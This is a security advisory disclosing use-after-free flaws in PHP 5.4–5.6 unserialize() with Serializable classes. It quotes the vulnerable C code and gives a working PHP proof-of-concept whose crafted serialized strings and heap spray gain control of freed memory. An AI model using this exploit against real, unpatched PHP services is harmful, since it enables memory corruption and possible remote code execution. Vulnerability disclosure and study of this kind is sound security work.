Use After Free Vulnerabilities in unserialize()

[Taoguang Chen <taoguangchen () gmail com>]

#Use After Free Vulnerabilities in unserialize()

Taoguang Chen <[@chtg](http://github.com/chtg)> - Write Date:
2015.7.31 - Release Date: 2015.9.4

> Multiple use-after-free vulnerabilities were discovered in unserialize() with Serializable class that can be abused 
> for leaking arbitrary memory blocks or execute arbitrary code remotely.

Affected Versions
------------
Affected is PHP 5.6 < 5.6.12
Affected is PHP 5.5 < 5.5.28
Affected is PHP 5.4 < 5.4.44

Credits
------------
This vulnerability was disclosed by Taoguang Chen.

Description
------------
```
        if (ce->unserialize == NULL) {
                zend_error(E_WARNING, "Class %s has no unserializer", ZSTR_VAL(ce->name));
                object_init_ex(rval, ce);
        } else if (ce->unserialize(rval, ce, (const unsigned char*)*p,
datalen, (zend_unserialize_data *)var_hash) != SUCCESS) {
                return 0;
        }

        (*p) += datalen;

        return finish_nested_data(UNSERIALIZE_PASSTHRU);
```

The unserialize() with Serializable class lead to various problems.

i) Free the memory via crafted Serializable class

```
<?php

class obj implements Serializable {
    var $data;
    function serialize() {
        return serialize($this->data);
    }
    function unserialize($data) {
        $this->data = unserialize($data);
        $this->data = 1;
    }
}

?>
```

ii) Free the memory via the process_nested_data() with a invalid
serialized string

```
static inline int process_nested_data(UNSERIALIZE_PARAMETER, HashTable
*ht, long elements, int objprops)
{
        while (elements-- > 0) {
                zval *key, *data, **old_data;

                ...

                ALLOC_INIT_ZVAL(data);

                if (!php_var_unserialize(&data, p, max, var_hash TSRMLS_CC)) {
                        zval_dtor(key);
                        FREE_ZVAL(key);
                        zval_dtor(data);
                        FREE_ZVAL(data);  <===  free the memory
                        return 0;
                }
```

iii) Free the memory via the var_push_dtor_no_addref() with the var_destroy().

```
PHPAPI void var_destroy(php_unserialize_data_t *var_hashx)
{

        ...
        
        while (var_hash) {
                for (i = 0; i < var_hash->used_slots; i++) {
                        zval_ptr_dtor(&var_hash->data[i]);  <===  free the memory
                }
        
        ...
        
PHPAPI int php_var_unserialize(UNSERIALIZE_PARAMETER)
{

        ...
        
        if (*rval != NULL) {
                var_push_dtor_no_addref(var_hash, rval);
        }
        *rval = *rval_ref;
```

We can create ZVAL and free it via Serializable::unserialize. However
the unserialize() will still allow to use R: or r: to set references
to that already freed memory. It is possible to use-after-free attack
and execute arbitrary code remotely.

Proof of Concept Exploit
------------
The PoC works on standard MacOSX 10.11 installation of PHP 5.4.43.

```
<?php

$fakezval = ptr2str(1122334455);
$fakezval .= ptr2str(0);
$fakezval .= "\x00\x00\x00\x00";
$fakezval .= "\x01";
$fakezval .= "\x00";
$fakezval .= "\x00\x00";

// i)
//$inner = 'a:1:{i:0;i:1;}';
//$exploit = 'a:2:{i:0;C:3:"obj":'.strlen($inner).':{'.$inner.'}i:1;R:3;}';
// ii)
$inner = 'a:2:{i:0;i:1;i:1;i:2';
$exploit = 'a:2:{i:0;C:3:"obj":'.strlen($inner).':{'.$inner.'}i:1;R:5;}';
// iii)
//$inner = 'r:1;';
//$exploit = 'a:1:{i:0;C:3:"obj":'.strlen($inner).':{'.$inner.'}}';

$data = unserialize($exploit);

for ($i = 0; $i < 5; $i++) {
    $v[$i] = $fakezval.$i;
}

var_dump($data);

function ptr2str($ptr)
{
        $out = "";
        for ($i = 0; $i < 8; $i++) {
                $out .= chr($ptr & 0xff);
                $ptr >>= 8;
        }
        return $out;
}

class obj implements Serializable {
        var $data;
        function serialize() {
                return serialize($this->data);
        }
        function unserialize($data) {
        $this->data = unserialize($data);
//              i)
//              $this->data = '1';
        }
}

?>
```

Test the PoC on the command line:

```
$ php uafpoc.php
array(2) {
  [0]=>
  object(obj)#1 (1) {
    ["data"]=>
    bool(false)
  }
  [1]=>
  int(1122334455)  <===  so we can control the memory and create fake ZVAL :)
}
```

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